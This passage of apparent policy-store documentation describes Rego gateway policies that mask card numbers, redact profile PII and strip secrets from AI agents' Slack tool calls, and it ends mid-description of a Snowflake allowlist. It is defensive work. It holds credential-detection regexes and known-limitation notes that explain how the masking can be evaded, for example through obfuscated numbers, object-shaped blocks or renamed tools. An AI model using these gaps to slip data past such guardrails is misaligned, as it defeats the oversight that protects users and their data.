"payload": { "name": "slack-mcp-slack_read_thread", "text": ["customer: my card is 4111 1111 1111 1111, exp 12/27"] }, "subject": { "sub": "google-apps|pci-analyst@acme.com", "claims": { "groups": ["pci-full-pan"] } } } } ``` `allow = true`, no transform — the caller is in the `pci-full-pan` group. ### Passthrough (no PAN) A Luhn-invalid digit run (a Slack message timestamp, an order number) produces no transform; the response is returned byte-identical. ## Composition First egress policy for Slack — the five existing Slack policies are all ingress. One policy, one job; useful companions: - [`redact-sensitive-info`](../redact-sensitive-info/policy.md) (ingress) covers the opposite direction: it redacts card numbers and other sensitive shapes from messages the agent *writes* into Slack. Attach both for round-trip coverage. - [`deny-read-search-summarize-sensitive-channels`](../deny-read-search-summarize-sensitive-channels/policy.md) and [`guard-dm-privacy`](../guard-dm-privacy/policy.md) (ingress) stop the highest-risk reads outright; this policy masks card data in the reads you do allow. - A profile-PII egress policy (PF-02 style) for `slack_read_user_profile` / `slack_search_users` responses — directory PII is a separate concern from cardholder data, with a different exemption group. ## Known limitations - **Luhn-valid non-card numbers are masked too.** The Luhn check eliminates most timestamps and IDs, but some non-card identifiers (certain IMEIs and other checksummed numbers) are Luhn-valid and will be masked. The masked form keeps first-six/last-four, so such false positives usually stay recognizable. - **Obfuscated PANs are missed.** Card numbers with separators other than space/dash (dots, unicode spaces), split across lines or content blocks, spelled out in words, or base64-encoded do not match. Card numbers typed with non-ASCII digits (e.g. Unicode fullwidth `4111 1111 1111 1111`) also do not match: the RE2 `\d` class is ASCII-only, so fullwidth/other Unicode digit codepoints are never seen as digits. Grouped formats other than 4-4-4-4 and Amex 4-6-5 (e.g. 19-digit 4-4-4-4-3 print format) match only in their unseparated form. - **A PAN glued directly to a word character is missed.** Every pattern is `\b`-anchored, and the underscore counts as a word character in RE2, so a digit run immediately preceded or followed by a letter, digit, or underscore with no separator (e.g. `acct_4111111111111111` or `card4111111111111111x` inside a serialized-JSON token value) has no word boundary and is not masked. This is the deliberate cost of the same `\b` anchoring that stops a 20+-digit identifier from being partially masked — dropping the anchor would trade this evasion for false partial-masking of longer numbers. Punctuation- or whitespace-delimited PANs (the normal human-typed case) are unaffected. - **Adjacent digit groups can shadow a grouped PAN.** In pathological sequences like `1234 5678 4111 1111 1111 1111`, the leftmost 4-4-4-4 window is consumed first (and fails Luhn), so the real PAN inside it is not matched. Unseparated PANs are unaffected. - **Substring collisions between two detected PANs.** Replacements are applied per distinct matched string in unspecified order; if one detected PAN is a literal substring of another in the same block (both Luhn-valid), more than BIN+last4 of the longer one can remain visible. Middle digits of every match still get masked. - **Structured (non-string) content blocks and non-array `text` are not masked — fail-open.** The policy scans and rewrites only string entries of `input.payload.text`, and only when `text` is a JSON array. A PAN carried inside a content block delivered as a JSON *object* (e.g. an MCP typed block `{"type":"text","text":"…4111 1111 1111 1111…"}`) passes through unmasked, and if a server delivers `payload.text` as a bare string instead of an array the transform never fires — in both cases the response is returned byte-identical and the PAN reaches the agent. In the DTwo egress shape observed to date tool output arrives as an array of *string* blocks, and serialized JSON inside a string block **is** scanned and masked; only native object shapes and non-array `text` evade it. Confirm with the dump-input technique that your gateway/server delivers string blocks before relying on this policy against servers that emit typed content objects — pair with a schema-aware egress transform if yours does. - **Egress masking only.** The full card number still exists in Slack itself and in Slack's own UI; this policy controls what the *agent* sees on the MCP path. Pair with the ingress `redact-sensitive-info` policy to keep agents from writing card numbers into Slack. - **Tool names are observed, not contractual.** The official Slack MCP server publishes exact tool names only at runtime; the names matched here are corroborated from the landscape research but may change. korotovsky and reference-server names are verified from their README/source. Emoji/file/reaction capabilities of the official server have no verifiable tool names and are not covered. - **Group names are placeholders** — replace `pci-full-pan` with your IdP's group name at import time. The exemption reads `input.subject.claims.groups` and requires it to be an **array** of strings; every other shape (string, object, number, null, or missing) fails closed to masked output. Confirm your IdP emits a `groups` claim as a string array for your tenant before relying on the exemption. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package slack.egress.mask_pan # Transform-only policy — never denies, only masks Luhn-valid card numbers # in Slack read/search/history responses to BIN+last4. default allow := true # ----------------------------------------------------------------------------- # Tool matching — content-returning Slack read tools across the three MCP # server vocabularies in real use. The gateway prefixes tool names with the # configured server name, so we match on the suffix to stay portable. # Suffixes are hyphenated; the incoming name is normalized `_` -> `-` first so # both `slack_read_channel` and `slack-read-channel` deliveries match. # ----------------------------------------------------------------------------- content_read_suffixes := [ # Official Slack MCP server (mcp.slack.com — used by the Claude connector). "slack-read-channel", "slack-read-thread", "slack-read-canvas", "slack-search-public", "slack-search-public-and-private", # korotovsky/slack-mcp-server (community). "conversations-history", "conversations-replies", "conversations-search-messages", # korotovsky content-returning reads that also carry message bodies: # unread messages and the saved-items list both return message text. "conversations-unreads", "saved-list", # Archived reference server (deprecated but still widely forked). "slack-get-channel-history", "slack-get-thread-replies", ] normalized_name := replace(lower(input.resource.name), "_", "-") is_content_read_tool if { some suffix in content_read_suffixes endswith(normalized_name, suffix) } # ----------------------------------------------------------------------------- # PAN candidate shapes — anchored with \b word boundaries so digit runs inside # longer identifiers are never partially matched. Every candidate must also # pass the Luhn check below before it is masked. # ----------------------------------------------------------------------------- pan_pattern := concat("|", [ # 16-digit PANs grouped 4-4-4-4 with space or dash separators # (Visa / Mastercard / Discover print format, e.g. 4111 1111 1111 1111). `\b\d{4}[ -]\d{4}[ -]\d{4}[ -]\d{4}\b`, # 15-digit American Express PANs grouped 4-6-5 with space or dash # separators, constrained to the 34/37 IIN range (e.g. 3782 822463 10005). `\b3[47]\d{2}[ -]\d{6}[ -]\d{5}\b`, # Unseparated 13-19 digit runs — the ISO/IEC 7812 PAN length range. # Runs of 20+ digits never match: there is no word boundary inside a # digit run, so this cannot partially mask a longer identifier. `\b\d{13,19}\b`, ]) # ----------------------------------------------------------------------------- # Luhn check — filters card-shaped candidates so timestamps, order numbers, # and other digit runs that merely look like PANs are left alone. # ----------------------------------------------------------------------------- digits_only(s) := regex.replace(s, `[^0-9]`, "") luhn_contribution(d, parity) := d if { parity == 0 } luhn_contribution(d, parity) := 2 * d if { parity == 1 (2 * d) < 10 } luhn_contribution(d, parity) := (2 * d) - 9 if { parity == 1 (2 * d) >= 10 } luhn_valid(digits) if { chars := split(digits, "") n := count(chars) total := sum([v | some i, c in chars v := luhn_contribution(to_number(c), (n - 1 - i) % 2) ]) total % 10 == 0 } # All card-shaped substrings of t that pass the Luhn check. pan_candidates(t) := {c | some c in regex.find_n(pan_pattern, t, -1) luhn_valid(digits_only(c)) } # ----------------------------------------------------------------------------- # Masking — each match is rewritten to BIN+last4: first six digits (issuer # BIN) and last four kept, everything between masked with `*`. Separators are # dropped in the masked form (e.g. `4111 1111 1111 1111` -> `411111******1111`). # ----------------------------------------------------------------------------- mask_pan(c) := masked if { d := digits_only(c) n := count(d) masked := concat("", [ substring(d, 0, 6), # Replace every middle digit with `*` (RE2 has no repeat builtin, so we # mask the middle substring char-by-char instead of building a `*` run). regex.replace(substring(d, 6, n - 10), `\d`, "*"), substring(d, n - 4, 4), ]) } # Rewrite every Luhn-valid candidate in a string block to its masked form. mask_block(b) := out if { is_string(b) replacements := {c: mask_pan(c) | some c in pan_candidates(b)} count(replacements) > 0 out := strings.replace_n(replacements, b) } mask_block(b) := b if { is_string(b) count(pan_candidates(b)) == 0 } # Non-string content blocks (structured/JSON blocks) pass through unmodified. mask_block(b) := b if { not is_string(b) } # ----------------------------------------------------------------------------- # Full-PAN exemption — callers in the placeholder group see unmasked content. # Fail-closed: missing subject, missing claims, missing groups, or a malformed # groups claim all leave this rule undefined, so masking applies. The # is_array guard is load-bearing: without it a groups claim shaped as an # object (e.g. {"role":"pci-full-pan"}) would iterate its *values* and match, # granting the exemption to a caller who never held the group in an array. # Requiring an array keeps every non-array shape (string, object, number, # null) fail-closed. Replace "pci-full-pan" with your IdP's group name at # import time. # ----------------------------------------------------------------------------- caller_may_view_full_pan if { claims := object.get(object.get(input, "subject", {}), "claims", {}) groups := object.get(claims, "groups", []) is_array(groups) some group in groups group == "pci-full-pan" } # ----------------------------------------------------------------------------- # Transform — emitted only when in scope, the caller is not exempt, and at # least one block actually changed. Otherwise the rule is undefined and the # aggregator skips this policy, returning the response byte-identical. # ----------------------------------------------------------------------------- text_blocks := object.get(input.payload, "text", []) masked_blocks := [out | some block in text_blocks out := mask_block(block) ] transform := { "transformed_payload": object.union(input.payload, {"text": masked_blocks}), } if { input.mode == "output" is_content_read_tool not caller_may_view_full_pan is_array(text_blocks) masked_blocks != text_blocks } ``` ### Slack: Redact Profile PII from User Lookups URL: https://www.intentbasedpolicy.com/policies/slack/redact-profile-pii App(s): slack | Direction: egress | Bundles: slack, soc2, gdpr-ccpa | Package: slack.egress.redact_profile_pii | Published: 2026-07-12 | Tags: slack, pii, redaction, privacy, egress, soc2, gdpr-ccpa Source: https://github.com/dtwoai/policy-store/blob/main/apps/slack/redact-profile-pii/policy.md # slack / redact-profile-pii **Direction:** egress (`tool_post_invoke`) **Default:** allow (transform-only — never denies) **Package:** `slack.egress.redact_profile_pii` ## What it does Redacts personally identifiable information — email addresses, phone numbers, and Slack custom profile fields (which commonly carry phone, title, and manager) — from the responses of Slack user-lookup tools before they reach the agent. Display name and `user_id` are left intact, so agent workflows that resolve mentions or look up who to notify keep working; the agent just no longer receives a PII directory it does not need. Callers whose IdP `groups` claim contains `people-ops` receive unredacted profiles. Anyone else — including callers with missing, empty, or malformed identity claims — gets the redacted view (the exemption fails closed). The policy addresses the PII-directory-harvesting surface: a single agent session can otherwise sweep `slack_search_users` / `slack_read_user_profile` across the workspace and assemble an email + phone directory of every employee. ## Compliance alignment - **SOC 2 CC6.7** — supports the restriction on transmission/movement of information by masking personal contact data on the agent read path; **C1.1** — supports identifying and protecting confidential information (employee contact data in workspace profiles); **P4.1** — supports limiting personal-information use to identified purposes: mention resolution keeps working, directory harvesting does not. - **HIPAA §164.502(b)** — supports the minimum-necessary standard: agents resolving users do not need workforce emails and phone numbers; **§164.514(b)** — supports de-identification by removing Safe-Harbor identifier classes (email addresses, telephone numbers) from responses. - **GDPR Art. 5(1)(c)** — supports data minimisation on the agent channel; **CPRA §1798.121** — supports the consumer's right to limit use of sensitive personal information by keeping contact PII out of agent context unless the caller has a people-ops role. ## Tool name matching The policy targets the user-lookup tools of the three Slack MCP servers in real use (official, korotovsky community, archived reference), matched by suffix: | Suffix | Server / tool | |---|---| | `_read_user_profile` | official `slack_read_user_profile` | | `_get_user_profile` | archived reference `slack_get_user_profile` | | `_search_users` | official `slack_search_users` | | `_get_users` | archived reference `slack_get_users` | | `users_search` | korotovsky `users_search` | The DTwo gateway prefixes tool names with the configured MCP server name (e.g. `slack-mcp-slack_read_user_profile`), and that prefix is not standardized. Before matching, the policy lowercases the name and normalizes `-` to `_` (and trims stray surrounding whitespace), then matches on the suffix — so it works whether your gateway joins with hyphens or underscores. Three name surfaces are checked: `input.resource.name`, `input.tool_metadata.name`, and the legacy `input.payload.name` alias. Egress is detected by `input.mode == "output"` with a fallback to the `tool_post_invoke` action/kind identifier, so a response is still redacted if a gateway leaves `mode` unset. Verify the exact names your gateway emits with the dump-input debug technique before relying on this in production. ## Response shape Each server returns its own JSON shape for profiles, and the official server documents tool names/shapes as runtime-discoverable rather than contractual. The policy therefore does not parse the response; it hands the gateway a redaction transform that works on any shape: - `redact_fields: ["email", "phone", "fields"]` — structured JSON keys, matched case-insensitively and recursively. `fields` is the container Slack uses for custom profile fields (commonly phone, title, manager). - `redact_patterns` — email and phone regexes applied to the serialized response, catching PII that appears under other keys or in plain text. `display_name`, `real_name`, `name`, and `id`/`user_id` keys are not in the redaction list and survive intact (unless their *values* are email/phone shaped — see Known limitations). ## Identity exemption Callers with `"people-ops"` in `input.subject.claims.groups` (exact, case-sensitive match) bypass redaction. The check uses safe `object.get` chains plus an `is_array` guard: a missing `subject`, missing `claims`, missing `groups`, or a `groups` value that is not an array (a string, an object such as `{"role":"people-ops"}`, a number, or null) all fail closed to the redacted view. ## Examples ### Redacted (default) ```jsonc { "input": { "action": "tool_post_invoke", "mode": "output", "resource": { "name": "slack-mcp-slack_read_user_profile", "type": "tool" }, "subject": { "sub": "google-apps|dev@corp.example", "claims": { "groups": ["engineering"] } }, "payload": { "name": "slack-mcp-slack_read_user_profile", "text": ["{\"user_id\":\"U024BE7LH\",\"display_name\":\"jane\",\"email\":\"jane@corp.example\",\"phone\":\"+1 555 123 4567\"}"] } } } ``` `allow = true`, and the policy emits a transform. After the gateway applies it, `email` and `phone` values read `[REDACTED]`; `user_id` and `display_name` are untouched. ### Unredacted (people-ops exemption) ```jsonc { "input": { "action": "tool_post_invoke", "mode": "output", "resource": { "name": "slack-mcp-slack_read_user_profile", "type": "tool" }, "subject": { "sub": "google-apps|hrbp@corp.example", "claims": { "groups": ["people-ops"] } }, "payload": { "name": "slack-mcp-slack_read_user_profile", "text": ["..."] } } } ``` `allow = true`, no transform — the caller sees the full profile. ## Composition Transform-only and `default allow := true`, so it composes cleanly with deny policies on the same egress pipeline. Useful companions: - [`guard-dm-privacy`](../guard-dm-privacy/policy.md) — ingress gate on DM/private-channel reach; this policy covers the profile-directory surface that gate does not. - [`redact-sensitive-info`](../redact-sensitive-info/policy.md) — ingress redaction on outbound messages; pairing both keeps PII masked in both directions. - [`block-secrets`](../block-secrets/policy.md) — ingress deny for credential-shaped message bodies. ## Known limitations - **Response shapes are observed, not contractual.** Slack documents the official server's tool names/shapes as runtime-discoverable ("use `tools/list` as the source of truth; names can change"). The suffix list and field keys here match the mid-2026 landscape; re-verify after server updates. The korotovsky `users_search` name is verified from that project's README, but your gateway's full prefixed name should be confirmed with the dump-input technique. **Tool-name drift fails open:** matching is by a fixed suffix allowlist, so a renamed, versioned, or newly added profile-returning tool whose suffix is not in the list (e.g. `slack_read_user_profile_v2`, or the not-yet-verified emoji / channel-member-listing tools the landscape note leaves unnamed) passes through **unredacted** until you extend `profile_tool_suffixes`. Re-verify the suffix list against `tools/list` after every server upgrade. - **`redact_fields` may not descend into serialized JSON.** MCP tool output arrives as `payload.text`, an array of content-block *strings*. When a server returns the profile as a JSON string inside that array (the common shape), `redact_fields` — which matches structured object *keys* — may not reach keys that live inside the string; in that case only the `redact_patterns` email/phone regexes fire on the serialized bytes. Email and phone *values* are therefore still masked, but non-PII-shaped custom fields carried under `fields` (e.g. title, manager) can survive. Do not rely on this policy to strip title/manager unless you have confirmed your gateway applies `redact_fields` recursively into stringified JSON; pair with a purpose-built transform if you need that guarantee. (This is a downstream transform-engine behavior and is not exercised by the policy test runner, which asserts only that the transform is emitted.) - **Pattern over-match.** The phone regex matches bare 10-digit runs, so Unix timestamps in profile responses (e.g. `updated`, message `ts` values) may be redacted too — cosmetic, but visible. A display name whose value is email-shaped will be redacted despite the intent to keep display names intact. - **Pattern under-match.** Phone numbers written without `+`, country code, or separators in non-NANP local formats may survive redaction. PII in free-text profile fields that is not email/phone shaped (e.g. a street address in a status line) is out of scope. - **`fields` is a generic key.** Any key named `fields` in a matched tool's response is redacted, not only Slack's custom-field container. Scope is limited to the five user-lookup suffixes, so collateral impact is confined to profile responses. - **Other surfaces can leak profile data.** Message search/history tools (`slack_search_public*`, `slack_read_channel`, …) may return messages that quote someone's email or phone; those tools are outside this policy's scope — pair with a general PII-redaction egress policy if you need workspace-wide coverage. - **Group names are placeholders** — replace `people-ops` with your IdP's group name at import time. The match is exact and case-sensitive (`People-Ops` does not qualify), and the exemption requires `groups` to be an **array** of strings: every other shape (single string, object, number, null, or missing) fails closed to the redacted view. Confirm your IdP emits `groups` as a string array for your tenant before relying on the exemption. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package slack.egress.redact_profile_pii # Transform-only policy — never denies, only redacts profile PII from Slack # user-lookup responses. Every other tool and every caller in the people-ops # group passes through untouched. default allow := true # ----------------------------------------------------------------------------- # Scope: Slack tools that return user-profile content, across the three MCP # servers in real use (official, korotovsky community, archived reference). # The gateway prefixes tool names with the configured MCP server name, so we # match by suffix. Names are normalized first (lowercase, "-" -> "_") because # gateways join the prefix with hyphens while Slack tool names use # underscores. Verify exact names with the dump-input debug technique. # ----------------------------------------------------------------------------- profile_tool_suffixes := { "_read_user_profile", # official Slack MCP server: slack_read_user_profile "_get_user_profile", # archived reference server: slack_get_user_profile "_search_users", # official Slack MCP server: slack_search_users "_get_users", # archived reference server: slack_get_users "users_search", # korotovsky/slack-mcp-server: users_search } # Normalize a raw tool name: trim surrounding whitespace (a stray newline or # space around the name would otherwise defeat the suffix match), lowercase, # and fold the gateway's "-" join char to "_". normalize(raw) := replace(lower(trim_space(raw)), "-", "_") # Tool name from the PARC resource surface, normalized. candidate_names contains name if { name := normalize(object.get(object.get(input, "resource", {}), "name", "")) name != "" } # Egress hooks also expose the tool name under tool_metadata.name, and the # legacy payload.name alias is populated on tool hooks too. Check all three so # we match regardless of which surface the gateway populates. candidate_names contains name if { name := normalize(object.get(object.get(input, "tool_metadata", {}), "name", "")) name != "" } candidate_names contains name if { name := normalize(object.get(object.get(input, "payload", {}), "name", "")) name != "" } is_profile_tool if { some name in candidate_names some suffix in profile_tool_suffixes endswith(name, suffix) } # Egress detection. The gateway sets mode=="output" on post-invoke hooks; we # also accept the tool_post_invoke action/kind identifier so a profile response # is still redacted if a gateway leaves mode unset (fail closed — redact rather # than leak). Ingress pre-invoke hooks match none of these, so request # arguments are never touched. is_output if input.mode == "output" is_output if object.get(input, "action", "") == "tool_post_invoke" is_output if object.get(input, "kind", "") == "tool_post_invoke" # ----------------------------------------------------------------------------- # Exemption: people-ops sees unredacted profiles. `people-ops` is a # placeholder — replace it with your IdP's group name at import time. Safe # object.get chains make missing subject/claims/groups fail closed (no group # -> not exempt -> redacted). The is_array guard is load-bearing: without it a # groups claim shaped as an object (e.g. {"role":"people-ops"}) would iterate # its *values* and match, granting the exemption to a caller who never held the # group in an array. Requiring an array keeps every non-array shape (string, # object, number, null) fail-closed. # ----------------------------------------------------------------------------- caller_is_exempt if { claims := object.get(object.get(input, "subject", {}), "claims", {}) groups := object.get(claims, "groups", []) is_array(groups) some g in groups g == "people-ops" } # ----------------------------------------------------------------------------- # Redaction transform. Response JSON shapes differ per server and are # documented as observed rather than contractual, so we do not parse the # response: redact_fields handles the structured keys (case-insensitive, # recursive) and redact_patterns catches email/phone values under any other # key or in plain text. display_name / real_name / name / id / user_id are # not listed, so mention-resolution workflows keep working. # ----------------------------------------------------------------------------- transform := { "redact_patterns": [ # Email addresses `[\w.-]+@[\w.-]+\.[\w.-]+`, # NANP (US/CA) phone numbers, with or without separators/country code `\+?1?[- .]?\(?\d{3}\)?[- .]?\d{3}[- .]?\d{4}`, # Bare international E.164 numbers (+ followed by 7-15 digits) `\+\d{7,15}`, # International numbers with separators (+CC, then grouped digits) `\+\d{1,3}[- .]\d{1,4}(?:[- .]\d{2,5}){1,4}`, ], # `fields` is the container Slack uses for custom profile fields, which # commonly carry phone, title, and manager. "redact_fields": ["email", "phone", "fields"], "replacement": "[REDACTED]", } if { is_output is_profile_tool not caller_is_exempt } ``` ### Slack: Redact Sensitive Information from Messages URL: https://www.intentbasedpolicy.com/policies/slack/redact-sensitive-info App(s): slack | Direction: ingress | Bundles: slack, soc2, hipaa, gdpr-ccpa | Package: slack.ingress.redact_sensitive_info | Published: 2026-07-12 | Tags: slack, pii, secrets, dlp, redaction, ingress, soc2, hipaa, gdpr-ccpa, iso27001-nist Source: https://github.com/dtwoai/policy-store/blob/main/apps/slack/redact-sensitive-info/policy.md # slack / redact-sensitive-info **Direction:** ingress (`tool_pre_invoke`) **Default:** allow (transform-only — never denies) **Package:** `slack.ingress.redact_sensitive_info` ## What it does Redacts sensitive content from outgoing Slack message arguments before the call reaches Slack. It is transform-only — it never denies a call, it only rewrites matching content to `[REDACTED]`. Any tool that is not a Slack tool, and any message with no matches, passes through untouched. ## Compliance alignment - **SOC 2 CC6.7** — supports the restriction on transmission of confidential information: PII and credentials are masked before they move into Slack. - **PCI DSS 3.2.1** — supports minimizing account-data sprawl by masking card-number-shaped strings before they land in a system outside the CDE; **8.6.2** — supports keeping credentials out of chat by redacting keys, tokens, and passwords. - **HIPAA §164.502(b) / §164.514(b)** — supports minimum necessary and de-identification: several Safe-Harbor identifier classes (SSN, phone, email) are redacted from outbound messages. - **GDPR Art. 5(1)(c)** — supports data minimisation on the agent channel; **CCPA §1798.150** — reduces nonredacted-PI exposure if chat history is later breached. - **ISO 27001 A.8.11** — data masking; **A.8.12** — data leakage prevention on the agent's Slack write path. ## Why ingress Sending a Slack message is a write with permanent side effects — once the call reaches Slack the content exists in channel history and may be syndicated to search, digests, and other members. Redacting on the request (ingress) path is the only way to keep the secret out of Slack entirely; an egress policy could only mask what is read back, not what was posted. ## Scope / tool matching Applies to any tool whose first hyphen-separated name segment starts with `slack`, so it works regardless of how the Slack MCP server is named on a given gateway (`slack-...`, `slack-prod-...`, `slack-mcp-...`). Confirm the exact tool names your gateway emits with the dump-input debug technique. ## Fields inspected - `text` and `message` — string bodies; redacted in place when they match. - `blocks` (Block Kit) and `attachments` (legacy) — serialized to JSON, byte- replaced, then reparsed. Only fields that actually contain a match are rewritten. Clean fields, absent fields, and all other arguments (`channel`, `thread_ts`, etc.) pass through unchanged. For `blocks`/`attachments`, if the replacement would produce invalid JSON the field's patch is silently omitted, so the policy never emits malformed arguments (fail-safe). ## What gets redacted A single alternation pattern covers: - **PII** — US SSN, credit-card numbers, email addresses, US phone numbers. - **Cloud / SaaS API keys (vendor-prefixed)** — AWS (`AKIA`/`ASIA`), Google (`AIza`, `ya29.`), GitHub (`ghp_`/`gho_`/`ghu_`/`ghs_`/`ghr_`), GitLab (`glpat-`), Slack (`xox[abprs]-`), Stripe (`sk_live_`/`sk_test_`/`pk_live_`/ `pk_test_`). - **OAuth / bearer** — `Authorization: Bearer ` and JWTs (`header.payload.signature`). - **Generic secrets** — `api_key`/`apikey`/`secret_key` and `password`/`secret`/`token`/`credentials`/`client_secret` assignments. - **Database connection strings** — URI (`postgres://`, `mysql://`, `mongodb+srv://`, `redis://`, `amqp://`, `mssql://`), JDBC, and ADO.NET (`Server=...;User Id=...;Password=...`). - **PEM private keys** — `-----BEGIN ... PRIVATE KEY----- ... -----END ...-----`. The pattern set is shared with the JIRA egress redaction policy (`jira.egress.redact_sensitive_info`). Tune it for your environment — add token shapes for providers you use, and remove patterns that are noisy for your traffic. ## Examples ### Redacted ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "slack-mcp-slack-post-message", "type": "tool" }, "payload": { "name": "slack-mcp-slack-post-message", "args": { "channel": "C123", "text": "here's the api_key: sk-abcd1234..." } } } } ``` The `text` argument is rewritten to `here's the [REDACTED]`; `channel` is untouched. `allow = true`, plus `reason = "Sensitive content redacted from Slack message"` so the redaction is explained in the dashboard. ### Passthrough ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "slack-mcp-slack-post-message", "type": "tool" }, "payload": { "name": "slack-mcp-slack-post-message", "args": { "channel": "C123", "text": "lunch in 5" } } } } ``` No match, no transform — args pass through unchanged. `allow = true`. ## Composition Transform-only and `default allow := true`, so it composes cleanly with deny policies on the same ingress pipeline (e.g. [`block-secrets`](../block-secrets/policy.md), [`deny-direct-messages`](../deny-direct-messages/policy.md)). `block-secrets` *blocks* a message that looks like it contains a secret; this policy *redacts* the secret and lets the message through — choose one posture per deployment, or order them deliberately if you attach both. ## Known limitations - **Regex over text.** Expect general-purpose false positives (e.g. an email- shaped substring inside a longer token) and false negatives (custom-format or short-lived secrets that match no known shape). Treat this as a high-signal first line of defense, not a complete DLP solution. - **Inspected fields are fixed.** Only `text`, `message`, `blocks`, and `attachments` are scanned. If your Slack MCP server carries body content under another argument, add a corresponding patch rule. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package slack.ingress.redact_sensitive_info # Transform-only policy: redacts sensitive content from outgoing Slack message # args before the call reaches Slack. Never denies. Uses the same pattern set # as the JIRA egress redact policy (jira.egress.redact_sensitive_info). default allow := true # ----------------------------------------------------------------------------- # Tool matching — any tool whose server-name segment starts with "slack". # Matches "slack-...", "slack3-...", "slack-prod-...", etc. # ----------------------------------------------------------------------------- is_slack_tool if { name := lower(input.resource.name) server_name := split(name, "-")[0] startswith(server_name, "slack") } # ----------------------------------------------------------------------------- # Sensitive-content regex — every shape we want to redact, joined into a # single alternation so one regex.replace call covers them all per field. # (?i:...) groups scope case-insensitive matching to specific alternatives so # vendor-prefixed shapes (AKIA, ghp_, sk_live_, etc.) stay case-sensitive. # ----------------------------------------------------------------------------- sensitive_pattern := concat("|", [ # ---- PII ---- `\d{3}-\d{2}-\d{4}`, # US SSN `\d{4}[- ]?\d{4}[- ]?\d{4}[- ]?\d{4}`, # Credit card `[\w.-]+@[\w.-]+\.[\w.-]+`, # Email `\+?1?[- .]?\(?\d{3}\)?[- .]?\d{3}[- .]?\d{4}`, # US phone # ---- Cloud / SaaS API keys (vendor-prefixed) ---- `AKIA[0-9A-Z]{16}`, # AWS access key ID `ASIA[0-9A-Z]{16}`, # AWS temporary (STS) access key `AIza[0-9A-Za-z_-]{35}`, # Google API key `ya29\.[0-9A-Za-z_-]+`, # Google OAuth access token `ghp_[A-Za-z0-9]{36}`, # GitHub personal access token `gho_[A-Za-z0-9]{36}`, # GitHub OAuth token `ghu_[A-Za-z0-9]{36}`, # GitHub user-to-server token `ghs_[A-Za-z0-9]{36}`, # GitHub server-to-server token `ghr_[A-Za-z0-9]{36}`, # GitHub refresh token `glpat-[A-Za-z0-9_-]{20}`, # GitLab personal access token `xox[abprs]-[A-Za-z0-9-]+`, # Slack tokens (bot/app/user/refresh/etc.) `sk_live_[A-Za-z0-9]{24,}`, # Stripe live secret key `sk_test_[A-Za-z0-9]{24,}`, # Stripe test secret key `pk_live_[A-Za-z0-9]{24,}`, # Stripe live publishable key `pk_test_[A-Za-z0-9]{24,}`, # Stripe test publishable key # ---- OAuth / bearer ---- `(?i:bearer\s+[A-Za-z0-9._~+/-]+=*)`, # Authorization: Bearer `eyJ[A-Za-z0-9_-]+\.eyJ[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+`, # JWT (header.payload.signature) # ---- Generic key=value secret patterns ---- `(?i:(?:api[_-]?key|apikey|secret[_-]?key)\s*[:=]\s*\S+)`, `(?i:(?:password|passwd|pwd|secret|token|credentials|client[_-]?secret)\s*[:=]\s*\S+)`, # ---- Database connection strings ---- `(?i:(?:postgres(?:ql)?|mysql|mongodb(?:\+srv)?|redis(?:s)?|amqps?|mssql|sqlserver)://[^:\s]+:[^@\s]+@[^/\s]+(?:/\S*)?)`, `(?i:jdbc:[a-z0-9]+:[^\s]+)`, `(?i:(?:Server|Data Source)\s*=\s*[^;]+;\s*(?:User Id|UID)\s*=\s*[^;]+;\s*(?:Password|PWD)\s*=\s*[^;]+)`, # ---- PEM private keys ---- `-----BEGIN [A-Z ]+PRIVATE KEY-----.+?-----END [A-Z ]+PRIVATE KEY-----`, ]) replacement := "[REDACTED]" # ----------------------------------------------------------------------------- # Per-field patches — each is added only when this is a Slack tool, the field # exists, and it contains at least one match. Fields without matches (and # absent fields) are left untouched in the final args. # ----------------------------------------------------------------------------- patches[k] := v if { k := "text" is_slack_tool original := object.get(input.payload.args, k, "") is_string(original) regex.match(sensitive_pattern, original) v := regex.replace(original, sensitive_pattern, replacement) } patches[k] := v if { k := "message" is_slack_tool original := object.get(input.payload.args, k, "") is_string(original) regex.match(sensitive_pattern, original) v := regex.replace(original, sensitive_pattern, replacement) } # Block Kit blocks: serialize → byte-replace → reparse. If the byte-replace # produces invalid JSON (possible if a pattern chews across boundaries), the # unmarshal fails and this patch is silently omitted — fail-safe rather than # emitting malformed args. patches[k] := v if { k := "blocks" is_slack_tool original := object.get(input.payload.args, k, null) original != null serialized := json.marshal(original) regex.match(sensitive_pattern, serialized) v := json.unmarshal(regex.replace(serialized, sensitive_pattern, replacement)) } # Legacy attachments: same treatment as blocks. patches[k] := v if { k := "attachments" is_slack_tool original := object.get(input.payload.args, k, null) original != null serialized := json.marshal(original) regex.match(sensitive_pattern, serialized) v := json.unmarshal(regex.replace(serialized, sensitive_pattern, replacement)) } # ----------------------------------------------------------------------------- # Apply the transform only when at least one field needs redaction. # object.union overwrites only the keys present in `patches`; every other arg # (channel_id, thread_ts, etc.) passes through unchanged. # ----------------------------------------------------------------------------- transform := { "transformed_payload": object.union(input.payload.args, patches) } if { is_slack_tool count(patches) > 0 } # Surfaced on the decision event whenever a patch is applied, so the dashboard # can explain the rewrite. reason := "Sensitive content redacted from Slack message" if { is_slack_tool count(patches) > 0 } ``` ### Snowflake Default-Deny Unknown Tools URL: https://www.intentbasedpolicy.com/policies/snowflake/default-deny-unknown-tools App(s): snowflake | Direction: ingress | Bundles: soc2 | Package: snowflake.ingress.default_deny_unknown_tools | Published: 2026-07-12 | Tags: snowflake, default-deny-unknown-tools, allowlist, access-control, ingress, soc2 Source: https://github.com/dtwoai/policy-store/blob/main/apps/snowflake/default-deny-unknown-tools/policy.md # snowflake / default-deny-unknown-tools **Direction:** ingress (`tool_pre_invoke`) **Default:** deny unknown Snowflake tools, allow allowlisted Snowflake tools and all other servers **Package:** `snowflake.ingress.default_deny_unknown_tools` ## What it does Pins an **allowlist of the exact Snowflake tool names your team audited** and denies every other tool name on the Snowflake MCP server(s). A tool that was newly published upstream, renamed by an admin, or added to the 